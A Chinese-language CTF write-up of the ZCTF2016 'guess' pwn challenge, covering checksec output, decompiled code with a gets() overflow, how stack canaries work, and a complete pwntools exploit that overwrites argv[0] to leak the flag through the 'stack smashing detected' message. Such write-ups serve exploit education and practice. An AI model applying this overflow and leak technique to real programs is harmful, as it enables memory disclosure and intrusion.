ZCTF2016 Pwn题题解 ——当你的才华还配不上你的野心时,请静下来好好努力!
guess-pwn100 0x00 检查程序开启的保护机制 1 2 3 4 5 6 7 $ checksec guess [*] '/home/******/Desktop/remote-dbg/guess' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
我们可以看到程序开启了Partial RELRO
(部分重定位只读),在这种情况下,.dynamic段
是不可写的,.got.plt段
(GOT表)是可写的。又开启了Canary
检测是否有栈溢出
,开启了NX(DEP)
使堆栈
上的代码不可执行。
0x10 静态分析 首先,这是一个64位
的ELF
可执行程序。我们使用IDA
反汇编此文件,并用反编译插件得到主函数的伪代码
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 signed __int64 __fastcall main (__int64 argc, char **argv, char **env) { int i; int j; signed int mark; int current_position; FILE *stream; char input_flag[40 ]; unsigned __int64 canary; canary = __readfsqword(0x28 u); stream = fopen("flag" , "r" ); if ( !stream ) return 0xFFFFFFFF LL; setvbuf(stdin , 0L L, 2 , 0L L); setvbuf(stdout , 0L L, 2 , 0L L); setvbuf(stderr , 0L L, 2 , 0L L); alarm(60u ); fseek(stream, 0L L, 2 ); current_position = ftell(stream); fseek(stream, 0L L, 0 ); fgets(&str, current_position + 1 , stream); fclose(stream); puts ("please guess the flag:" ); gets(input_flag); if ( current_position != (unsigned int )strlen (input_flag) ) { puts ("len error" ); exit (0 ); } if ( memcmp (input_flag, "ZCTF{" , 5u LL) ) { puts ("flag is start with ZCTF{" ); exit (0 ); } for ( i = 0 ; i < current_position; ++i ) *(&str + i) ^= input_flag[i]; mark = 1 ; for ( j = 0 ; j < current_position; ++j ) { if ( *(&str + j) ) { mark = 0 ; break ; } } if ( mark ) puts ("you are right" ); else puts ("you are wrong" ); return 0L L; }
我们可以看出整个程序的逻辑
是这样的。首先,读取
当前文件夹下的flag文件
,从这个文件中读出真正的flag
、以及flag的长度
。然后提示用户输入flag,程序先验证用户输入的flag的长度
是否正确,再将用户输入的flag
与flag文件中读出的flag
进行异或
,根据异或的结果
判断输入的flag
是否是正确的flag
。如果异或的结果
每一个字节都为"\x00"
,则输入的flag正确
。反之,则不正确。
0x20 编写exp 0x21 Stack Smashing Protector Stack Smashing Protector
是一种众所周知的针对基于栈的内存损坏的缓解措施
(例如:连续的缓冲区溢出)。也就是常说的Canary
。
我们可以在编译程序的时候使用“–fstack-protector”
或“–fstack-protector-all”
开启它,使用“–fno-stack-protector”
关闭它。
0x22 开启了Stack Smashing Protector的程序特征 开启了Stack Smashing Protector
的程序会在函数序言
和函数尾声
添加一些汇编代码,如下所示:
函数序言:
1 2 3 4 5 6 7 .text: 000000000040096D push rbp .text: 000000000040096E mov rbp , rsp .text: 0000000000400971 push rbx .text: 0000000000400972 sub rsp , 58h .text: 0000000000400976 mov rax , fs :28h -|.text: 000000000040097F mov [rbp +canary], rax |向栈中写入Canary.text: 0000000000400983 xor eax , eax -|
函数尾声:
1 2 3 4 5 6 7 8 9 10 .text: 0000000000400B6F loc_400B6F: .text: 0000000000400B6F mov rbx , [rbp +canary] -|.text: 0000000000400B73 xor rbx , fs :28h |验证栈中的Canary.text: 0000000000400B7C jz short loc_400B83 |是否被修改.text: 0000000000400B7E call ___stack_chk_fail -|.text: 0000000000400B83 loc_400B83: .text: 0000000000400B83 add rsp , 58h .text: 0000000000400B87 pop rbx .text: 0000000000400B88 pop rbp .text: 0000000000400B89 retn
fs:28h
中的值是随机的
,每次程序启动都会不同,但在某次程序运行过程中
,它是不会改变的。Canary
在栈中的位置,一般是在函数栈帧
的ebp/rbp的上方
(低地址处)。当函数执行完功能后,会验证栈上的Canary
是否被修改。如果被修改
,会调用__stack_chk_fail()
函数,__stack_chk_fail()函数内容如下:
1 2 3 4 5 6 void __attribute__ ((noreturn)) __stack_chk_fail (void ) { __fortify_fail ("stack smashing detected" ); }
我们可以看到__stack_chk_fail()
函数又调用了__fortify_fail()
函数,其内容如下:
1 2 3 4 5 6 7 8 9 10 11 void __attribute__ ((noreturn)) __fortify_fail (const char *msg) { while (1 ) __libc_message (2 , "*** %s ***: %s terminated\n" , msg, __libc_argv[0 ] ?: "<unknown>" ); } libc_hidden_def (__fortify_fail)
msg
的内容为“stack smashing detected”
,__libc_argv[0]
的内容为当前运行程序
的名称字符串
。所以,如果栈溢出
覆盖了Canary
,则会输出以下字符串:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ************************************** test.c gcc test.c –fstack-protector -o test ************************************** #include <stdio.h> int main () { char str[10 ]; gets(str); } ------------------------------------------------------------- $ ./test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA *** stack smashing detected ***: ./test terminated [1 ] 47585 abort (core dumped) ./test
0x23 利用Stack Smashing Protector泄露信息 如果将__libc_argv[0]
中的字符串指针
覆盖为要泄露的信息的地址
,就可以泄露出想要泄露出的信息
。
利用思路:
1、构造满足条件
(flag开头为ZCTF{)的不同长度
的flag字符串,通过返回信息
,来判断是否为正确的flag的长度
。
2、泄露出正确flag的长度
后,构造满足条件
(flag开头为ZCTF{)及正确长度
的flag,并用“\x00”
作为flag字符串的结束,绕过flag长度的验证
。然后,继续覆盖至main函数
的参数argv[0]
,将其覆盖为&str+0x5
(&str为存储真实flag的地址)。因为前5个字节“ZCTF{”
相同,所以,异或后的结果
为“\x00”
,只能从第6字节开始泄露。
3、异或
在异或双方不同情况下是可逆的
,所以我们需要选取一个不在
正确flag中的字母,与正确flag
的每一个字符进行异或
。泄露出异或后的结果字符串
后,再用相同的字母
进行一次异或
,就可以得到正确的flag
。如果选取正确flag中的字符
,异或后结果为“\x00”
,泄漏时会造成“\x00”截断
。我们需要不断尝试,找到一个合适的异或数
。这里选用“b”
。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from pwn import *context.clear() context.binary ='./guess' context = {'arch' :'amd64' ,'bits' :'64' ,'endian' :'little' ,'os' :'linux' } ''' bp 0x40096D,main函数起始地址 bp 0x400A2F,ftell()函数调用地址 bp 0x400A61,fgets()函数调用地址 bp 0x400A83,gets()函数调用地址 ''' def get_io () : if args['REMOTE' ]: io = remote('220.249.52.133' ,34604 ) else : if debug: io = gdb.debug('./guess' ,''' bp 0x40096D bp 0x400A2F bp 0x400A61 bp 0x400A83''' ) else : io = process('./guess' ) return io def str_to_hex (str) : return '' .join(['\\x' + '%02X' % ord(c) for c in str]) def xor (io,result) : flag = '' for i in result: flag += chr(ord(i)^ord('b' )) print "Flag: ZCTF{%s" %flag def leak_len (io,length) : io.recvuntil("please guess the flag:\n" ) flag_addr = 0x6010C0 payload = 'A' *length + "\x00" io.writeline(payload) result = io.recvuntil('\n' ) print result if "len error" in result: return False return True def pwn (io,length) : io.recvuntil("please guess the flag:\n" ) flag_addr = 0x6010C0 + 5 payload = "ZCTF{" payload = payload.ljust(length,'b' ) payload += "\x00" payload = payload.ljust(0x7fffffffddb8 - 0x7fffffffdc90 ,'A' ) payload += p64(flag_addr) io.writeline(payload) io.recvuntil("*** stack smashing detected ***: " ) result = io.recvline() print result print str_to_hex(result[0 :27 ]) + result[27 :-1 ] + str_to_hex(result[-1 :]) result = result.split(' terminated\n' )[0 ] print str_to_hex(result) xor(io,result) io.interactive() if __name__ == '__main__' : debug = 0 mark = 0 if mark: for i in range(5 ,256 ): print "*********************Start*********************" io = get_io() print "length:" ,i if leak_len(io,i) == True : exit(0 ) else : io.close() print "**********************End**********************" else : length = 32 io = get_io() pwn(io,length)